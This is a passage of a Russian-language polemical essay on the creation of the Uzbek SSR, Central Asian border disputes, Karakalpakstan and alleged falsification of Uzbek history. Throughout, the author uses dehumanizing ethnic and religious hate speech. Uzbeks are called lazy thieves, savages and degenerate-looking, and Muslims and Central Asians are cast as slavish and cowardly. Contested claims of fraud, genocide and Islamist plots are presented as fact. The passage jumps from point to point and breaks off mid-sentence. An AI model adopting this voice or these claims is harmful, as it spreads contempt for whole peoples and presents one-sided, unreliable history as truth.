Дело в том, что Узбекская ССР – это огромный большевистский миф. Большевикам потребовалось в обоснование более значительного мифа «о братстве бывших угнетённых народов и о многонациональном государстве рабочих и крестьян СССР» создать «братские советские республики» и тут к месту появился многообещающий, верный большевикам из местных, из Бухары тов. Ф.Ходжаев («младобухарец» и потом вдруг коммунист, потом «враг народа» – известная в истории Узбекистана личность), он то и подсунул Москве разработанную в Бухаре схемку создания нового государства в Средней Азии – «государства узбеков» (в 1924 году ЦК Бухарской компартии одобрил проект Ф. Ходжаева «Основные положения по созданию Узбекистана»); но идея национально-государственного размежевания возникла намного ранее – в 1920-21 годах партийные и советские органы Туркестана впервые вынесли предложение об образовании Узбекской, Туркменской и Киргизской республик, причём – в составе России.
Например, ещё в 1917 году была образована «Кокандская автономия» (полное название: «Временное правительство автономного Туркестана») – непризнанное государство, краткое время существовавшее с 27 ноября 1917 года по 18 февраля 1918 года на территории прежнего Кокандского ханства. Правительство «КА» возглавил казахский народный деятель М.Чокай. «КА» мыслилась только в составе России. Во вступительной речи М.Чокай сказал: “Построить сходу полнокровное государство нелегко. Для этого нет ни кадров, ни опыта. И главное – нет армии, чтобы защитить будущую автономию. Как бы ни была ослаблена Россия, она гораздо сильнее нас. С Россией мы должны жить в мире и дружбе. Это диктует сама география…».

И ещё: «Весной 1924 года элитой Бухары и Туркестана активно обсуждалось вопросы создания национальных республик. Были приняты резолюции, в которых говорилось, что «противоположность интересов, как культурно-национального, так и экономического характера» между разными народностями порождает трения и вражду, сохранение «разделенных» между разными республиками народностей «могло бы задержать развитие сил каждого народа и способствовать их замкнутости и культурной отсталости», что созрели предпосылки объединения однородной «как по национальному признаку, так и по формам хозяйства и быта» каждой народности «в отдельную самостоятельную единицу, политически и экономически представляющую одно целое» [«Туркестан в начале XX века: к истории истоков национальной независимости». Ташкент, 2000].

Обязательно необходимо отметить особенности народонаселения в Ср.Азии в тот исторический период:

1) Все этносы проживали настолько перемешано – этакий азиатский аралаш-ералаш; если образно представить карту расселения этносов в Ср.Азии, то было бы похоже на разноцветную шкуру леопарда.

2) Были этносы которые не могли себя отнести к какой-нибудь национальности и в этом нет ничего удивительного так как прежде они называли себя по территории проживания, например, кокандцы, хивинцы, бухарцы (эти государственные образования нельзя назвать национальными, поскольку покоились на других, вне-национальных основаниях. Например, 15.09.1920 года Ф.Ходжаев – глава правительства Бухарской Республики (БНСР), а БНСР не входила в Российскую Федерацию и была суверенным государством, в телеграмме Афганскому эмиру Аманнуле-хану выразил намерение поддерживать «…добрососедское отношение между афганским и бухарскими народами», из чего видим, что в то время сам Ф.Ходжаев «бухарцев» не считал «узбекским народом» и что бывший Бухарский эмират никогда узбекским НЕ БЫЛ!)

3) И ещё существовали многочисленные так называемые полу-этносы: «полу-национальности».

Младоузбекские историки переписали всю историю Узбекистана: практически очертить границы какого-нибудь одного народа и определить ему государство было просто невозможно без ущемления множества других народностей, проживающих рядом на этой же территории (в подтверждение: нынешние взаимные многочисленные территориальные претензии друг к другу независимых среднеазиатских «братских» государств). Разделить народы по национальным границам и образовать отдельные национальные государства – это была авантюра чистейшей воды и она была нужна только новоиспечённым среднеазиатским «революционерам» – так называемой «национальной элите», «национальным лидерам». Эта новая национальная элита Средней Азии хотела властвовать, хотела править, хотела быть новыми «ханчиками» и «эмирчиками» в новых, ими же изобретённых среднеазиатских государствах. Из исторических документов видно: вовсе не большевики (не хваля их) и не Москва, но сами среднеазиатские лидеры аборигены-жители Туркестана решили разделиться по народам (государствам) и азиаты сами определили границы этих своих новых государств! Причём, только в составе России! Это им – национальным лидерам и национальной элите – сильно, очень сильно захотелось стать правителями в пусть небольших, но отдельных государствах. Вот в чём правда!

В Москве пошли навстречу и подписали идею создания новых советсикх и социалистических государств в Среднец Азии, в том числе – государства узбеков: «Узбекию» (как первоначально назвали). Но В.И.Ленин потребовал ещё представить карту расселения народов в Средней Азии.

Однако, чтобы создать «Узбекию», необходимо было обеспечить узбекам статус титульной нации. Это могло быть возможно только в том случае, если бы они составили большинство на отведенной республике территории. В действительности узбеки, по данным дореволюционной статистики, хотя и населяли в различных пропорциях многие районы Средней Азии, но составляли большинство только на территории лишь некоторых районов. Поэтому узбеками (и отцами-создателями Узбекии) были осуществлены напрямую подлог, обман и фальсификация, заключавшиеся в том что в «узбеки» умышленно записали другие народы, этносы. И тем не менее, даже с учётом узбекских подтасовок, ещё в 1920 году, по материалам к Постановлению III-й чрезвычайной сессии ЦИК Туркестанской АССР о нац.-государственном размеживании, всего из числа узбеков проживали: в Туркестанской АССР – 66,5%; в бывших ханствах: Бухарском – 22%, а в Хивинском – всего 11%. Тем более, документам 1924 года и вовсе веры нет, там сплошная ложь! Например, такая национальность как «сарт» были все произвольно записаны в узбеки и к 1924 году не осталось ни одного сарта. По этому поводу, кстати, американский этноантрополог Дж. Шоберлейн выражал свое удивление: «Около 1,7 млн. сартов Средней Азии не могли попросту исчезнуть за один день». Схожая ситуация была и со многими другими национальностями, причём не только малых, но и многочисленных – как казахов, таджиков, киргизов – их тоже множественно записали в «узбеки». Если посмотреть материалы к Постановлению III-й чрезвычайной сессии ЦИК, то там можно обнаружить народности, которые больше не существуют; как такое возможно и куда они вдруг делись?! Узбекская фальсификация была выявлена, но должной оценки тогда это почему-то не получило. Большую роль и помощь узбекам здесь оказала Комиссия товарища еврея И.Магидовича и он лично. А в России ни В.Ленин, ни И.Сталин ничего о названных узбекских подлогах и фальсификации так и не узнали
27 октября 1924г II Сессия ВЦИК Советов удовлетворила ходатайство ТурЦИКа, 5-го Всебухарского и 5-го Всехорезмского Курултаев «о национально-государственном размежевании» и образовании новых советских социалистических республик и областей; Создание Узбекской ССР было официально объявлено 13 февраля 1925 года на I съезде курултаев (советов) в Бухаре. Управление Узбекской ССР в момент ее становления было доверено бухарской политической элите. О преемственности УзССР и Бухарской НСР говорит то, что учредительные съезды Советов УзССР и Компартии Узбекистана были созваны в г. Бухаре и именно Ф. Ходжаев возглавил Ревком Узбекской ССР, а с образованием Узбекской ССР стал первым премьером – Председателем Совета народных комиссаров); так что границы УзССР в 1924-25 годах были незаконно и обманным путём определены и земли туркестана незаконно захвачены самими узбеками – вот правда об образовании УзССР!!! Узбеки были в нац.меньшинстве, но втёрлись в доверие к большевикам, изображая самых-самых верных среднеазиатских последователей коммунизма, при этом узбеками были захвачены земли никогда им не принадлежавшие – это земли бывших Кокандского, Хивинского ханств, Бухарского эмирата и некоторые другие земли Туркестанского края Российской Империи, из которых с большой натяжкой «узбекскими» можно назвать только некоторые территории бывшего Кокандского ханства (хотя в ханстве многочисленно проживали таджики, киргизы, казахи, уйгуры и др.народы). Это и есть «историческая родина узбеков», правда только с XYI века. Узбеки захватили земли других народов и создали на захваченных землях своё новое узбекское государство – новую узбекскую империю – УзССР! Причём первоначально узбеки хотели отхватить территории ещё в три раза больше чем у них ныне(!), но Москва не дала! Второй любопытный факт: феодалы, баи и особенно исламское духовенство в 1924-25 годах были против и осуществляли противодействие образованию нового узбекского государства – УзССР! Вот как получается на деле: исламское духовенство были противниками и врагами независимости Узбекистана!

И вот в Средней Азии появилось новое государство – Узбекская ССР, по далеко идущим перспективным планам большевиков – «маяк, форпост и оплот большевизма» в Средней Азии, а узбеки-руководители УзССР показывали себя твёрдыми, верными коммунистами и последователями большевизма. Масштаб этого политического проекта был точно охарактеризован М.Калининым на съезде Компартии в Бухаре в феврале 1925 года: «...Узбекистан, имея огромный культурный потенциал, технические возможности, наиболее богатые города Востока и людские ресурсы, должен играть в Центральной Азии огромную роль, можно сказать, роль гегемона».

В подтверждение – ранее, из письма В.И.Ленина председателю Комиссии ВЦИК и СНК РСФСР по делам Туркестана М.П.Томскому от 7.081921 года: «Конечно, Вы правы, что «9 миллионов баранов» нам (Москве) необходимы. Во что бы то ни стало их взять!...» [Луис Фишер. «Жизнь Ленина». London 1970,с.789]. Эти строки с обидой приводит очень известный узбекский политолог и националист узбек Б. Мусаев. Что тут сказать, как русские говорят: «из песни слов не выкинуть»; ну значит, очень нужны были в те времена эти 9 миллионов «среднеазиатских, мусульманских баранов» В.И.Ленину для его каких-то политических целей... А нам – русским людям – приходится до сих пор из-за этих ленинских устремлений расплачиваться. Надо было бы этих среднеазиатских, мусульманских дикарей и нахлебников вышвырнуть из состава России и пусть бы они сколько им угодно конфликтовали, резались и делились между собою (как азиатские «братские народы» ныне и делают)!

А вот слова узбекского национального героя – советского лидера Ш.Рашидова (ему и памятник поставлен в центре столицы): «С образованием своей суверенной социалистической республики и добровольным вхождением её в состав Союза ССР, узбекский народ стал на путь подлинного национального возрождения, вышел на широкую дорогу исторического творчества.»

В УзССР были незаконно включены целые народы и их территории, узбеки проигнорировали права, национальные интересы и духовные ценности этих народов, узбеки беспощадно эксплуатировали, грабили (как и ныне делают) земли и природные богатства др.народов. Затем эти народы узбеками были выдавлены, изгнаны и даже физически уничтожены (последние характерные примеры: геноцид и изгнание турок-месхетинцев и крымских татар из Узбекистана). Итоги мы сейчас и видим: менее, чем за 100 лет узбеки в результате «обузбечивания», вытеснения и геноцида других народов из национального меньшинства стали «преобладающей национальностью», «титульной национальностью» по всей территории нынешнего Узбекистана (численностью – 80%).

Всего на карте Средней Азии появилось 4 новых азиатских государства; о справедливости такого размежевания может говорить следующее: таджики будучи более многочисленной и более древней нацией чем «узбеки», вдруг каким-то образом, оказались в автономии и в сильно урезанном виде в составе УзССР. В 1929 году ввиду такого откровенного беззакония и несправедливой делёжки территории, ввиду массовых притеснений от узбеков – таджики запротестовали; тогда им в Москве тоже пошли навстречу и выдели им своё отдельное таджикское государство из УзССР, что, кстати, вызвало огромное и смешное недовольство и многолетнюю обиду узбеков на русских. Об этом пишет и историк Р. Масов (директор Института истории Таджикистана), не стесняясь в выражениях, в серии своих работ, изданных в Душанбе. Р. Масов сформулировал несколько ключевых тезисов: революция 1917 года была «величайшим событием» в истории таджикского народа, национально-государственное размежевание было исторически правомерно и необходимо; но задуманное Советской властью было реализовано неправильно, «начало геноциду в отношении таджикского народа» положили пантюркисты («великоузбекские шовинисты»). Узбеки вытеснили таджиков в горы, ассимилировали таджиков, отняли у них земли, присвоили себе их культуру и достижения, уничтожили «исторический Таджикистан», а в 1920-е годывсячески препятствовали созданию Таджикского государства. «Во всем виноваты узбеки» – это один из главных лозунгов директора Р. Масова и таджикских национал-патриотов, и данный лозунг имеет под собой основание! Сегодня Таджикистан претендует на узбекские территории: Ферганскую долину, на Наманганскую область особенно, но прежде всего на Бухарский и Самаркандские регионы, Кашкадарьинскую и Сурхандарьинскую области Узбекистана, считая их исконно своими.

Имеются территориальные претензии и у Кыргызстана к Узбекистану: в Джалал-Абадской и Ошской обл. имеются около 75-ти спорных участков, которые постепенно попадают под влияние Узбекистана (узбеки незаконно и самовольно захватывают земли, принадлежащие более слабому Кыргызстану).
У Казахстана многовековые территориальные споры и огромные претензии к Узбекистану! По словам известного публициста и политолога из Казахстана Е.Нарымбая «В современном мире узбеки, несомненно, представляют одну из серьёзных внешних угроз для Казахского государства, проявлением чего, по мнению казахов, и является пограничный вопрос, который был решён… несправедливо в пользу Узбекистана…Цена вопроса о границах между Казахстаном и Узбекистаном – почти 6 млн. га (или 60 тыс. кв. км), которые находятся сейчас в составе Узбекистана. Только в этом веке спорная территория переходила «из рук в руки» 4 (!!!) раза. С 1924 г. по 1940 г. она находилась в составе Казахстана. В 1937 г. и 1946 г. Казахстан под нажимом… передаёт некоторые свои земли «во временное пользование». К моменту распада СССР площадь Казахстана уменьшилась и составляла уже 2717,3 тыс кв. км. «Похудение» Казахстана произошло в пользу Узбекистана за счёт Южно-Казахской обл (основная часть) и Кызыл-Ординской обл. (1,15 млн. га); тер. претензии есть и в Ташобласти.

Так же незаконно и безосновательно «верные большевики» – узбеки – выпросили у Москвы в 1936 г. И к Узбекистану насильственно присоединили (передали) Каракалпакию (Каракалпакскую АССР – ок. 165 тыс. кв. км), отобрав у Казахской ССР и совершенно проигнорировали мнение народа, хотя каракалпаки – родственный не узбекам, а именно казахам народ, и таким образом ещё намного увеличили территорию узбекской империи – УзССР (нын.Узбекистан – составляет 447 тыс. кв. км) – и тем самым дали узбекам выход и пользование огромными богатейшими ресурсами Аральского моря и огромными нефтяными и газовыми залежами и другими ресурсами приаралья – чужим добром! 14 декабря 1990 года сессия Верховного Совета Каракалпакской АССР приняла «Декларацию о государственном суверенитете», что предполагает полную независимость государства, но народ Каракалпакии был лишен права на самоопределение Ташкентом. Узбекистан ныне незаконно оккупировал и силою удерживает Каракалпакию, грабит природные богатства чужой страны, подавляет национально-освободительное движение каракалпаков и уже много столетий каракалпакский народ исторически терпит от узбеков притеснения и беззакония.

Положение Каракалпакии в составе Узбекистана очень сложное; Республика находится в зоне экологического бедствия и считается беднейшей областью Узбекистана, несмотря на то, что в ее недрах хранятся очень крупные залежи природного газа, есть золото, нефть и другие полезные ископаемые. Абсолютно нищий край, погибающий на глазах равнодушного Ташкента вместе с Аральским морем, где средний доход на душу населения не достигает и 3-х долларов в месяц, где половина детей рождается инвалидами, где почти нет воды (так, при средней норме 125 л воды в день местные жители получают только 15-20 л). Но не только нужда в воде обрушилась на многомиллионный регион. Сегодня он страдает и от нищеты, голода, а также различных эпидемий и болезней – вот что такое сегодняшняя Каракалпакия. Центр – Ташкент – особо не стремится решить проблемы этого суверенного образования в своем составе. Без свободы Каракалпакии от Узбекистана невозможно выживание как такового самого каракалпакского народа. По неофициальным данным, на территорию Казахстана, после объявления независимости Узбекистаном, от притеснений переехало (бежало) уже более 100 тысяч граждан Каракалпакстана. Уже в 1980-х гг появились подпольные движения Halk mapi («Интересы народа»), «Молодёжь Каракалпакстана» и «Свободный Каракалпакстан» – последнее недавно распространила в «Интернете» призыв к согражданам добиваться свободы и независимости этого региона от Узбекистана! Все названные группы Национально-освободительного движения в Каракалпакии действуют в условиях тотальной слежки, угрозы репрессий – только подпольно!

Далее происходило как по сценарию простых советских довоенных комедий: на протяжении целых десятков лет в Москву по отдельности ездили официальные делегации ходоков от среднеазиатских республик выпрашивать спорные территории (районы) – то есть, чтобы у соседней «братской» республики Москва отобрала и им передала. Так Москва и мучилась этой «головной болью»: то давала по просьбам, то не давала, то отбирала у кого-то, то последние обижались и посылала обиженные делегации вернуть назад их якобы исконные районы. Эти территориальные споры до сих пор сильно жгут отношения между «братскими» среднеазиатскими государствами. И только в одном 1991 году на территории Средней Азии имело место 36 конфликтов на национальной почве!!!
Сразу с 1924-25 годов узбекским руководством началось усиленное сколачивание и расширение новой «узбекской нации» и насильственное «обузбечивание» в УзССР: людей насильственно записывали в узбеки (в паспортах), причём «исчезали» целые народности десятками-сотнями тысяч человек; не-узбеков всячески изгоняли с их территорий; узбеков переселяли на территории других этносов, чтобы искусственно переломить в районах национальное соотношение в пользу узбеков; повсеместно насильственно навязывался и тюркский карлукский язык (на нём говорило узбекское население Ферганы), названный «ново-узбекским» языком, что тоже – узбекский парадокс, так как основным элементом в Средней Азии так называемой «узбекской народности» – узбекских племён – составляло монголо-тюркское племя мангытов (ногаев).

Основатель новой узбекской империи – УзССР – и основатель узб.нации и государства Ф.Ходжаев, затем его большой продолжатель 1-й секретарь КПУз Ш.Рашидов и нынешний 1-й президент-диктатор И.Каримов, они все поняли «узбекскую национальную идею» и немало сил приложили к созданию узбекской нации из этого конгломерата разнородных народностей и этносов, что населяли и населяют Узбекистан. После независимости 1991 года новые узбеские власти продолжают прежнюю национальную политику: идею «главного атахона» Ф.Ходжаева: людей так же насильственно записывают-переписывают в «узбеки», также искусственно насаждается на всех уровнях в официальном производстве, в узбекской литературе и в обучении так называемый «ново-узбекский язык» – то есть, тюркско- карлукский язык. Современные узбекские власти всячески внушают и вдалбливают узбекам (этническим и искусственным узбекам) якобы об их однородности (общности), о необходимости следовать одним нац.идеям и идеалам – ведётся огромная, масштабная гос.пропаганда по обузбечиванию на всех уровнях, в ТВ и в СМИ. Теперь, через десятилетия, узбеки в Узбекистане стали наконец «большинством населения страны» – 80%, но это только на бумаге… По данным (2005 г.) публициста и политолога из Казахстана Е.Нарымбая: «Большая численность этнических узбеков и подавляющее большинство населения Узбекистана – это, очевидно, большая ложь. Переписанные в «узбеки» составляют половину списочного состава узбеков и состоят по преимуществу из таджиков (50%), казахов (25%), уйгуров Андижанской области (15%)., киргизов и др. (10%). (Показательна фальсификация в Андижанской области: примерно из 1,5 млн. паспортных узбеков здесь порядка 65-80% – это этнические уйгуры). В результате чего узбеки составляют не более 50% населения Узбекистана». Правда в том, что узбеки настолько заврались и теперь даже сами не знают: сколько же на самом деле «узбеков» в Узбекистане!

Но почему молчали народы, когда их насильственно записывали в «узбеки»?! Нет, люди не все молчали, но такова особенность азиатско-исламского менталитета – это средневековая, рабская, феодальная, исламская, покорная трусость (особенно перед властью) – свойственная и сегодня всем народам Средней Азии, а также инертность населения и низкое национальное самосознание рядового, нищего, по-рабски забитого и запуганного местного азиатского населения. Многие всерьёз даже не знали свою национальность, а другим просто-напросто было без разницы, кем их запишут! Характерный пример номенклатурного правителя периода создания «Узбекского государства», некоего Абдуллы Рахимбаева: он, как отмечает современный таджикский историк Р.Масов, «несколько раз изменял национальную принадлежность в зависимости от того, где, когда и на какую очередную должность его выдвигали» [Масов Р. “История топорного разделения”. Душанбе, 1991, с.35]. На самом деле, А. Рахимбаев был типичный «сарт», сын богатого Ходжентского торговца и таких, как он, поли-национальных руководителей среди «узбекских» руководителей того времени (УзССР) было немало.

Но узбекский подлый, нечистоплотный расчёт верен: пройдут ещё годы, и если в сельской местности, в местах компактного проживания групп этносов, переписанных в «узбеки», те ещё используют свой язык, обычаи и культуру и знают свою настоящую национальность, то в городе обстановка иная – там люди оторваны от своих корней и, возможно, через поколениенасильственно переписанные уже будут называть себя «узбеками». Никто уже и сейчас не может сказать, какой же в действительности национальности были предки «нынешних узбеков» ещё в 1924-25 годах, не говоря уже об 1897 годе!!! Поэтому в антропологическом отношении лица нынешних узбеков представляют такую пеструю азиатскую разнородность, хотя монголоидные черты и типы лиц, несомненно преобладают среди подавляющего большинства узбеков, эти монголоидные узбекские лица – с явными признаками вырождения и дебильности!

Так в беседе «за круглым столом» по проблемам Средней Азии, проведенной радиостанцией «Голос Америки» на русском языке в мае 1992 года журналист В.Чилидзе дискутирует о том, в какой мере население этих стран «является нациями», поскольку обращение к истории показывает, что страны эти были созданы «сталинским карандашем на карте» – то есть, искусственно. Да, национальность – это такая историческая общность, которая самосоздаётся, сплавляется столетиями, а не циркулярами властей или насильственными записями в паспортах людей, и также не на общности единого только языка (который также вводится насильно) – как происходит в Узбекистане. Так и узбеки в нынешнем Узбекистане до сих пор НЕ ЯВЛЯЮТСЯ ОДНОЙ НАЦИЕЙ. Между жителями регионов Узбекистана – неприязнь, подозрительность, недоверие и даже враждебность – они не считают себя равными или «одной народной общностью». Еще в 1937 году 1-й секретарь ЦК КПУз А.Икрамов признавал, что до национального размежевания большинство узбеков не ощущало себя единой нацией: «Трудящиеся массы узбеков не осознавали себя как единую национальность. Ферганских узбеков обычно называли коканлыками – по названию ханства; зарафшанских, кашкадарьинских, сурхандарьинских узбеков называли бухарцами. Кочевые узбеки Кашкадарьи и Сурхандарьи узбекское население наших городов не считали узбеками. Хорезмийцы, например, всех узбеков, приезжавших из других частей Узбекистана, называли почему-то таджиками…и т.д. и т.п.». Сейчас всё остаётся точно также, как и было с древних времён! Вот правда, которая так ненавистна узбекским национал-патриотам! Никакого «узбекского народа», по сути дела, не существует и по нынешнее время; есть только некое искусственное, насильственное объединение совершенно разных этнических групп, толком и не понимающих друг друга даже на уровне разговорного языка! Даже ислам не смог объединить эти пёстрые, разномастные этносы. Мнимое единство узбек.нации в современном Узбекистане держится силою и страхом лишь на авторитарном, деспотическом, полицейском, не демократическом режиме президента И.Каримова!

Но есть и призабавные факты в современном осуществлении «узбекской национальной идеи»: президентом-диктатором И.Каримовым было обещано узбекам за 10-15 лет независимости «стать великими», но «не получилось» и тогда вопреки исторической ПРАВДЕ нынешние узбекские власти во главе с самим диктатором И.Каримовым, пользуясь безграмотностью населения, закрытостью и отсутствием демократических институтов в стране, решили возвеличить «узбекскую нацию» и заодно себя тоже, решив это сделать путём фальсификации истории. Так как монголо-узбеки были ничем не примечательными, примитивными, отсталыми, кочевыми племенами, промышлявшими скотоводством и воровством, постоянно мелко враждуя между собой, так же как и более поздние их узбекские потомки прославились только воровством – вспомним «хлопковое дело» во времена СССР; то их потомки – нынешние узбекские власти – всех мало-мальски известных в Средней Азии с древности личностей взяли и... записали в «узбеки» и в «знаменитых предков узбеков». Иначе говоря, узбеки просто-напросто украли чужих предков, а все культурные достижения других народов, живших до вторжения и захвата Средней Азии узбекскими кочевыми племенами в XYI в. – тоже приписываются узбекам – что просто несерьёзно, смехотворно и даже наивно-недоразвито! По словам известного узбекского политолога Б.Мусаева «…подтверждения тому – постыдная практика экспроприации «чужого» наследия, связанная, в частности, с присвоением выдающихся деятелей литературы, искусства, поэтов, философов или известных полководцев, исторических деятелей соседних народов». Как пишет узб.историк А.Ильхамов: «По всей видимости, доказательства древности происхождения той или иной нации…используются для обоснования легитимности ее национальной государственности». На самом деле древняя культура Средней Азии сначала подверглась сокрушительному удару ислама–арабов-захватчиков в YIII веке, затем громилась монголами Чингис-хана в XIII веке и наконец, была окончательно уничтожена кочевыми узбекскими племенами-захватчиками в XYI веке. По данным доктора исторических наук АН Таджикистана Камолова Х.Ш. [«История вторжения кочевых племен Дашт-и кипчака в Среднюю Азию (XVIв)», Душабе, 2007] «Последствия узбекского нашествия были весьма тяжелыми. Узбеки грабили знать и простой народ, уводили людей в плен. Насилие и грабежи были явлениями обычными и ежедневными. Производство хлеба, овощей и фруктов сократилось до крайности, дороговизна настала страшная, голод и обнищание настали невероятные. Узбекским племенам, вторгшимся в Мавераннахр была чужда земледельческая культура и поэтому с завоеванием страны наблюдается хозяйственный упадок и обезлюдение плодородных оазисов».

У самих же кочевых узбеков никаких культурных достижений или известных культурных деятелей никогда не было и нет по сей день! Да и о чём можно говорить, если узбеки, известному азиатскому средневековому захватчику XIYв, насильнику грабителю, садисту, извращенцу, пьянице и серийному убийце – монголу А.Тимуру понаставили памятников в Узбекистане, очень уж узбеков привлекают поступки и жизнь кровавого мясника и захватчика А.Тимура; хотя А.Тимур, как и его известные монгольские потомки Шахрух, М. Улугбек, З. Бабур и другие постоянно воевали с узбеками, истребляли их; Тимур даже в своём «Уложении» пишет, как он безжалостно истреблял узбеков и всячески нелестно поносит их, а современные узбеки ему памятники понаставили и даже назвали этого своего врага-монгола – «великим предком» (не имея своих достойных предков и в тем более считая себя «тюрками»!), пытась возвеличиться за счёт его неприглядных, кровавых дел. Причём, по данным выдающегося востоковеда В.П. Юдина всё племя барлас имело характерную родовую кличку, прозвище – «ишак» [Юдин В.П. Центральная Азия в XIV-XVIII веках глазами востоковеда. Алматы, 2001, с. 131] – о чём современные узбекские историки помалкивают. Ни один народ мира до такой примитивной, смехотворной глупости не додумался – поставить памятники своему врагу и своему убийце, да ещё и назвать его своим «великим предком» – кроме узбеков! Узбекский националист и политолог Б. Мусаев по данному поводу высказался: «нонсенс, что памятник Тимуру и музей Тимура являются составляющими национального проекта государства, которое носит имя так называемой титульной нации, то есть, узбеков».
Что ещё вносит забавный штрих, так это то, что узбекские исламисты тоже купились на желании стать «великими» за счёт воровства чужих предков и фальсификации среднеазиатской истории, и сейчас эти исламисты в союзе с узбекскими гос.органами поддерживают официальную ложь! (Видно исламским духовным лидерам, так же как и главарям власти и президенту-диктатору И.Каримову в Узбекистане обидно и стыдно за то, что они руководят узбеками, а узбеки – это такой, на самом деле, не знаменитый, ничем не примечательный и такой недалёкий, неумный и никчёмный среднеазиатский народец!).
Как признаёт политолог, узбекский ярый националист и, в то же время, оппозиционер режиму И.Каримова – узбек Б.Мусаев: «нет таких известных событий, связанных с историей Туркестана, в которые бы наши историки «не вмешались», не вырвали из контекста целого, изменив их реальное содержание чаще в угоду власти и господствующей идеологии, именуемой «идеологией независимости». В итоге мы имеем то, что имеем: собственно не историю, реально имевших место в прошлом событий в нормальном изложении, а «историю без истории», которая представлена нагромождениями темных и светлых мифов, преданий и легенд, ... строим нашу историю на фальсификации.» (Причём по утверждению правозащитных сайтов, за свои политические оппозиционные высказывания националист Б.Мусаев пострадал от каримовского правящего режима не только морально, материально, но и физически – в своём райотделе РОВД – такой вот не цивилизованный, низкий и аморальный средневековый метод нынешний режим не редко практикует против любой оппозиции в Узбекистане).
Так что, в 1989 году узбеки поступили точно как их далёкие кочевые предки-дикари: насильственно сгоняли людей с их земель, уничтожали местных жителей и их культуру, захватывали их имущество. После Ферганской резни узбеки в Ферганской долине стали составлять 97,5%, а к примеру по данным переписи 1897 года в Ферганской области жило всего— 153780 узбеков, или это составляло только 9,8% от всего населения области.
2) Другая цель Ферганской резни – чисто «исламская»: показать влияние ислама – кто «истинный хозяин в Узбекистане», продемонстрировать силу, организованность и готовность действовать кровавыми, экстремистскими, насильственными методами; здесь тоже явно видимые исламские цели: а) запугать всё население Узбекистана, силой и страхом заставить их соблюдать исламские религиозные каноны (На 1989 год в УзССР среди лиц узбекской национальности кандидатов и членов КПСС было около 460 тысяч человек и членов ВЛКСМ – 2 миллиона 50 тысяч человек – это около 2,5 миллионов человек – коммунистов и комсомольцев – открыто объявивших себя безбожниками; б) показать исламским международным спонсорам из-за границы, что денежные подачки на исламские экстремистские акции хорошо и успешно «отрабатываются» и что Узбекистан подходит для выделения местным исламским вожакам дальнейших денежных подачек на последующие кровавые акции; в) тренировка и обыгрывание сценария захвата власти исламистами в УзССР неконституционным путём.
3) Цель: получить независимость и самостоятельность от Центра-Москвы; но до конца 1990-х годов о полном отделении и речи не было, так как у узбеков никогда государства своего не было, да и любой узбекский ультра-патриот знал одну национально-ментальную особенность «своих узбеков» – ленивое узбекское население совершенно не склонны к какому-либо порядку и техническому производству и вообще к созидательному труду; «ну не хотят узбеки работать, а хотят только сидеть на базарах и торговать перекупленным товаром, но не производить»! Как говорят сами узбеки: «Деньги к деньгам, кетмень – дуракам». С этим явлением столкнулось первым Советское государство, когда решило создать промышленность в УзССР, но оказалось, что узбеки не склонны к техническому производству и не желают работать на производстве, а желают только сидеть на базарах не работая, поэтому Советское государство стало насильственно направлять «по распределению» специалистов из России работать на вновь созданные промышленные предприятия в Узбекистан;
Причём все промышленные предприятия Узбекистана построены за счёт России и финансировались из средств Союзного бюджета, но которые в 1991г нецивилизованно и незаконно были объявлены «собственностью Узбекистана» – проще говоря все предприятия были просто захвачены, «украдены» узбеками, в то время как это была не узбекская, а «союзная собственность»! На конец 2006 года государственный долг Узбекистана России составлял около 500 млн долларов, но за незаконно захваченные в 1991 году предприятия узбеки платить не хотят!
А правда – которую неискушённые европейцы и другие люди не знают и поэтому возможно, кое-кто верит узбекской лжи, в том, что здесь, в Узбекистане советской власти как таковой фактически не было! Внешне в УзССР всё было как в РСФСР и др.созных республиках Советского Союза. Такие же внешне, вроде, советские, профсоюзные, общественные и партийные органы (от районного, кишлачного до республиканского ранга), с одинаковыми вывесками; одинаковые транспоранты на улицах, схожие передовицы местных газет, красные флаги везде, но на самом деле узбеки жили так же как и много лет назад рабскими, феодально-родо-племенными отношениями. Только узбекские феодалы и баи приспособились и имели название советских или партийных руководителей или лидеров (так от районного, кишлачного до республиканского ранга). Их тут простой народ так и называл «советские баи» и «партбасмачи» (к примеру: если в конце 1917 годы в составе Советов края (Туркестанская АССР) лица местных национальностей составляли 10-20% его членов, то в конце 1920 года – 65-70%, в 1924 году – уже 90%. И все руководители республики вплоть до 1989-91годов были узбеками). И все в УзССР это прекрасно знали и играли в этот масштабный спектакль. А главный режиссер этого спектакля был очередной на то время узбек – 1-й секретарь ЦК КП УзССР! Классик узбекской литературы писатель Г. Гулям (1903-1966) так высказался о своих-узбеках: «Общественный строй в Узбекистане объявили «социализмом», а сознание узбеков как было, так и осталось на средневековом феодальном уровне»! А, собственно то же самое как и сейчас, в настоящее время: «общественный строй в Узбекистане объявили «капитализмом», а сознание, мировоззрение узбеков как было, так и осталось на том же примитивном средневековом рабском, феодально-родо-племенном уровне»! В УзССР сложилась своя национальная государственно-партийная мафия – «сов.баи и сов.ханы» – истинные, вместо народа, хозяева Узбекистана, только на словах и внешне проповедующие постулаты социализма. Стоит только прочесть биографии узбекских национальных лидеров начального периода.
«Узбекское государство – одна большая Махалля, с общинным укладом, коллективной ответственностью и почитанием власть имущих и состоятельных «мирз». Махаллинская психология подменяла собой не только партийную дисциплину, но и являлась краеугольным камнем мировоззрения, все окружающее пространство четко делилось по черно-белому принципу на «земляков» – своих, родных, дружественных и «чужаков» – плохих, посторонних, опасных. Махалля – это дисперсная «большая– семья. Вместо большой семьи – большая махалля, с такой же коллективистской психологией и ответственностью, такими же законами внутреннего общежития. и т.д.» [Источник –«Номад», В.Андреева «Миф об узбекском государстве», 2003 г.]
Узбекам неплохо жилось в УзССР, особенно звену управленцев и партийной элиты (национальной государственно-партийной мафии) при миллиардных дотациях из Союзного бюджета. Дело обстояло так: в УзССР существовал свой Госплан, который планировал рост производства, сельского хозяйства и увеличение благосостояния народа, затем под эти планы в Москве выпрашивались средства (так как Узбекистан была дотационной республикой и кроме грязного, третьесортного сортного хлопка ничего не могла поставить в Союзный «амбар»), но потом все полученные из Центра средства узбеками разворовывались начиная с республиканских партийных главарей (элиты) и кончая председателями колхозов и райсполкомов. И до основного узбекского кишлачного населения уже ничего не доходило, дехкане жили и трудились почти на рабском состоянии. А не-кишлачные узбеки, не работая, пристроились на базарах и очень неплохо жили за счёт русскоязычного трудового населения. В УзССР во всех органах власти и управлении были в подавляющем количестве только лица узбекской национальности; так что если узбеков кто и угнетал, то это свои местные узбекские «совбаи, -ханы и –феодалы» типа ферганского директора А. Одилова (А. Адилова). Справка: АДЫЛОВ Ахмаджон-ака – это очень примечательная и 